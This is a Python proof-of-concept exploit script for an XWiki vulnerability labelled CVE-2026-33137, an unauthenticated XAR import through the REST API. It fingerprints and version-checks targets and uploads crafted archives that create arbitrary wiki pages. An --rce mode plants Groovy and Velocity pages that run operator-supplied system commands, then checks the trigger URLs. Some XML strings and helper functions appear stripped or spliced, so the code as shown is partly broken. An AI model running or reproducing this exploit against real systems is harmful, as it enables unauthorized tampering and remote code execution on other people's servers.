#!/usr/bin/env python3 """ CVE-2026-33137 - XWiki Unauthenticated XAR Import via REST /wikis/{wikiName} The POST /wikis/{wikiName} REST API endpoint in XWiki executes a XAR import without performing any authentication or authorization checks, allowing an unauthenticated attacker to create or update arbitrary documents in the target wiki. Affected versions: prior to 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1 Patched in: 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1 """ import io, re, zipfile, argparse, sys try: import requests except ImportError: print("[-] Missing 'requests' library. Install with: pip install requests") sys.exit(1) PATCHED = [(16,10,17), (17,4,9), (17,10,3), (18,0,1), (18,1,0)] def _parse_version(v: str): try: return tuple(int(p) for p in v.strip().split("-")[0].split(".")[:3]) except ValueError: return None def _is_vulnerable(v: str): pv = _parse_version(v) return None if pv is None else all(pv < p for p in PATCHED) def _is_xwiki(resp): ct = (resp.headers.get("Content-Type") or "").lower() b = (resp.text or "").strip() return (b.startswith("Ptrue') zf.writestr(f'{space}/{page}.xml', f'' f'{space}{page}XWiki.GuestXWiki.Guest' f'17482176000001.1{title or page}' f'xwiki/2.1false{content}') return buf.getvalue() def _build_rce_xar(cmd): pages = [ ("CVE","RCEGroovy", f'{{{{groovy}}}}{cmd}.execute(){{{{/groovy}}}}'), ("CVE","RCEVelocity", f'{{{{velocity}}}}\n$util.getClass("java.lang.Runtime").getRuntime().exec("{cmd}")\n{{{{/velocity}}}}'), ("CVE","RCEScript", f'{{{{velocity}}}}\n$xwiki.parseGroovyFromString("{cmd}".execute().text)\n{{{{/velocity}}}}'), ("Main","DatabaseSearch", f'{{{{velocity}}}}\n$xwiki.parseGroovyFromString("{cmd}".execute().text)\n{{{{/velocity}}}}'), ] buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('package.xml', 'RCEtrue') for s, p, c in pages: zf.writestr(f'{s}/{p}.xml', f'' f'{s}{p}XWiki.GuestXWiki.Guest' f'17482176000001.1{p}' f'xwiki/2.1false{c}') return buf.getvalue() def _find_endpoint(target, wiki_name, sess): base = _get_rest_base(target) if base: return f"{target}{base}" for c in [f"{target}/rest/wikis/{wiki_name}", f"{target}/xwiki/rest/wikis/{wiki_name}"]: try: if sess.get(c.replace(f"/{wiki_name}", ""), timeout=10).status_code < 500: return c except: pass return None def _post_xar(endpoint, xar, sess): try: r = sess.post(endpoint, data=xar, headers={"Content-Type":"application/octet-stream","Accept":"application/xml"}, params={"backup":"true","historyStrategy":"OVERVERSIONS"}, timeout=15) return (r.status_code in (200,201,204) and _is_xwiki(r)), r.status_code except Exception as e: return False, str(e) def _check_trigger(ep, label=""): try: r = requests.get(ep, timeout=10, allow_redirects=False) return r.status_code except: return "ERR" def probe(target): print(f"[*] Probe: {target}") for path in ["/","/xwiki/bin/view/Main/","/xwiki/bin/login","/xwiki/rest/wikis"]: try: r = requests.get(f"{target}{path}", timeout=10) t = r.text.lower() if r.text else "" s = "[XWIKI]" if _is_xwiki(r) else "[CONTENT]" if "data-xwiki" in t else "" print(f" {path:32s} HTTP {r.status_code} {s}") except Exception as e: print(f" {path:32s} ERR {e}") v = _get_version(target, requests.Session()) if v: vu = _is_vulnerable(v) print(f" version: {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}") def exploit(target, wiki_name="xwiki", space="CVE", page="PoCTest", content="Pwned via CVE-2026-33137", verify=True, proxy=None): sess = requests.Session() if proxy: sess.proxies = {"http": proxy, "https": proxy} v = _get_version(target, sess) if v: vu = _is_vulnerable(v) print(f"[*] XWiki {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}") ep = _find_endpoint(target, wiki_name, sess) if not ep: print("[-] Could not find REST endpoint"); return False ok, code = _post_xar(ep, _build_xar("PF","C","x"), sess) if not ok: print(f"[-] XAR import: HTTP {code}"); return False print(f"[+] XAR import: HTTP {code}") ok2, _ = _post_xar(ep, _build_xar(space, page, content, page), sess) if not ok2: print("[-] Document creation failed"); return False print(f"[+] Document created: {space}.{page}") if verify: for epv in [f"{target}/rest/wikis/{wiki_name}/spaces/{space}/pages/{page}", f"{target}/xwiki/rest/wikis/{wiki_name}/spaces/{space}/pages/{page}"]: try: r = sess.get(epv, headers={"Accept":"application/json"}, timeout=10) if r.status_code == 200: print(f"[+] Verified: document readable at {epv.rsplit('/',1)[-1]}") return True except: pass print("[*] Verify: document exists but requires auth to read") return True def rce_exploit(target, command, wiki_name="xwiki", username=None, password=None, proxy=None): sess = requests.Session() if proxy: sess.proxies = {"http": proxy, "https": proxy} if username and password: sess.auth = (username, password) v = _get_version(target, sess) if v: vu = _is_vulnerable(v) print(f"[*] XWiki {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}") print(f"[*] Command: {command}") ep = _find_endpoint(target, wiki_name, sess) if not ep: print("[-] Could not find REST endpoint"); return False print(f"[*] REST: {ep}") ok, code = _post_xar(ep, _build_xar("PF","C","x"), sess) if not ok: print(f"[-] XAR import: HTTP {code}"); return False print(f"[+] XAR import: HTTP {code}") ok2, _ = _post_xar(ep, _build_rce_xar(command), sess) if not ok2: print("[-] RCE page import failed"); return False print("[+] RCE pages imported (CVE.RCEGroovy, CVE.RCEVelocity, CVE.RCEScript, Main.DatabaseSearch)") print("\n Trigger paths:") table = [] for p in [f"/rest/wikis/{wiki_name}/spaces/CVE/pages/RCEGroovy", f"/rest/wikis/{wiki_name}/spaces/CVE/pages/RCEGroovy?sheet=CVE.RCEGroovy", f"/xwiki/bin/view/CVE/RCEGroovy", f"/xwiki/bin/get/CVE/RCEGroovy?outputSyntax=plain", f"/xwiki/bin/view/CVE/RCEVelocity", f"/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text={{{{/async}}}}{{{{groovy}}}}{command}.execute(){{{{/groovy}}}}"]: c = _check_trigger(f"{target}{p}") if isinstance(c, int) and c in (200,304): s = "OK" elif isinstance(c, int) and c in (301,302,307,308): s = "redirect" elif isinstance(c, int) and c == 401: s = "unauthorized" elif isinstance(c, int) and c == 403: s = "forbidden" elif isinstance(c, int): s = f"HTTP {c}" else: s = c label = p[:65] + "..." if len(p) > 68 else p table.append((label, s)) for label, s in table: print(f" {label:68s} {s}") rendered = any("OK" in s for _, s in table) authed = username and password blocked = any(s == "redirect" or s == "unauthorized" for _, s in table) print() if rendered: print("[+] RCE trigger path is accessible!") else: if authed: print("[!] Trigger paths blocked (check credentials / scripting rights)") else: print("[!] Trigger paths blocked by authentication") print(f" XAR import (CVE-2026-33137): WORKING") print(f" Page rendering: {'ACCESSIBLE' if rendered else 'BLOCKED'}") return True def main(): p = argparse.ArgumentParser(description="CVE-2026-33137 - XWiki Unauthenticated XAR Import PoC") p.add_argument("-t","--target", required=True) p.add_argument("-w","--wiki", default="xwiki") p.add_argument("-s","--space", default="CVE") p.add_argument("-p","--page", default="PoCTest") p.add_argument("-c","--content", default="Pwned via CVE-2026-33137") p.add_argument("--proxy") p.add_argument("--probe", action="store_true") p.add_argument("--no-verify", action="store_true") p.add_argument("--rce", metavar="COMMAND") p.add_argument("-u","--username") p.add_argument("--password") args = p.parse_args() target = args.target.rstrip("/") if args.probe: probe(target) return if args.rce: sys.exit(0 if rce_exploit(target, args.rce, args.wiki, args.username, args.password, args.proxy) else 1) sys.exit(0 if exploit(target, args.wiki, args.space, args.page, args.content, not args.no_verify, args.proxy) else 1) if __name__ == "__main__": main()